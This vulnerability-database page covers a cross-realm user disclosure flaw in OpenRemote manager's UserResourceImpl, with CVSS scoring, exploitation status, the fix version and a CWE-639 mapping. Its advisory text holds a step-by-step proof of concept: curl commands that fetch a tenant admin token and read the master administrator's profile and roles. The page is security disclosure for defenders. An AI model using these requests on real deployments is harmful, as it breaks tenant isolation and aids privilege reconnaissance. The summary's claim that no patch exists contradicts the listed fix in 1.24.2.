CVE-2026-54641VulnerabilityPublished 6 Jul 2026Updated 13 Oct 2026

Io.openremote:openremote manager: OpenRemote has Cross-Realm User Information Disclosure in UserResourceImpl

Affects io.openremote:openremote-managerSource GCVE Database

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Not known to be exploited · CVSS 7.7 High : upgrade to 1.24.2 soon.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

7.7High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.2% chance of exploitation in 30 days – higher than 21% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.24.2

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Changed
Confidentiality: High
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Changed: An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 6 Jul 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade io.openremote:openremote-manager to 1.24.2.

Affected software

Product	Affected	Fixed in
Mavenio.openremote:openremote-manager	Affected <1.24.2	Fixed in 1.24.2

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AI-suggested

If you cannot patch yet, restrict realm-admin privileges carefully and monitor access to the affected API endpoints. Consider compensating controls such as network segmentation or additional access controls to limit cross-realm API calls. Avoid sharing UUIDs of privileged users across tenants to reduce risk of targeted enumeration.

Description

### Summary A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin. ### Details The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java. Three methods are missing an authenticated-realm guard: get (line 102): public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... } The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter. getUserClientRoles (line 294): public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... } getUserRealmRoles (line 313): public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... } By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths. The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD. ### PoC Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId. Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin). Step 2. Obtain an access token for the tenantb admin: TENANTB_TOKEN=$(curl -s -X POST \ "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \ | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") Step 3. Read a master-realm user profile using the tenantb token: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response from the live test instance (commit 22a42a7, 2026-06-04): {"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200 Step 4. Read master-admin realm roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e" Observed response: ["admin"] HTTP 200 Step 5. Read master-admin client roles: curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote" Observed response: ["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules

Impact

An attacker with realm-admin-level privileges in one tenant can enumerate and read sensitive user information, including profiles and roles, of users in other realms, including the master realm. This breaks tenant isolation in multi-tenant deployments, potentially exposing privileged account details and enabling further privilege escalation or reconnaissance. The vulnerability does not affect integrity or availability directly but compromises confidentiality of user data across realms.

Summary

The vulnerability in OpenRemote's UserResourceImpl class arises because three read methods (get, getUserClientRoles, getUserRealmRoles) check only for the read:admin role but do not verify that the target user belongs to the caller's realm. The realm path parameter is accepted but not used to restrict access. This allows a realm admin from one tenant realm to query user details from any other realm, including the master realm, by using the target user's UUID. Write methods in the same class enforce realm boundaries properly, indicating an omission in the read methods. The vulnerability enables cross-realm user information disclosure and privilege reconnaissance in multi-tenant deployments. A proof of concept demonstrates that a tenantb realm admin can retrieve the master realm administrator's profile and roles using the REST API. The affected versions are all versions before 1.24.2. There is no evidence of known exploits in the wild or an official patch available at this time.

CWE-639Authorization Bypass Through User-Controlled Key (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #24OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
Architecture and Design
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Architecture and Design · Implementation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Architecture and Design
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
OWASP Cheat Sheets
Access Control (opens in a new tab)
Authorization Testing Automation (opens in a new tab)
Cross-Site Request Forgery Prevention (opens in a new tab)
Insecure Direct Object Reference Prevention (opens in a new tab)
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V4.1.2 (opens in a new tab)
V4.2.1 (opens in a new tab)
V8.3.8 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 6 Jul 2026, 23:13 UTC

WeaknessesCWE-639

Technical details

References

Community reviews

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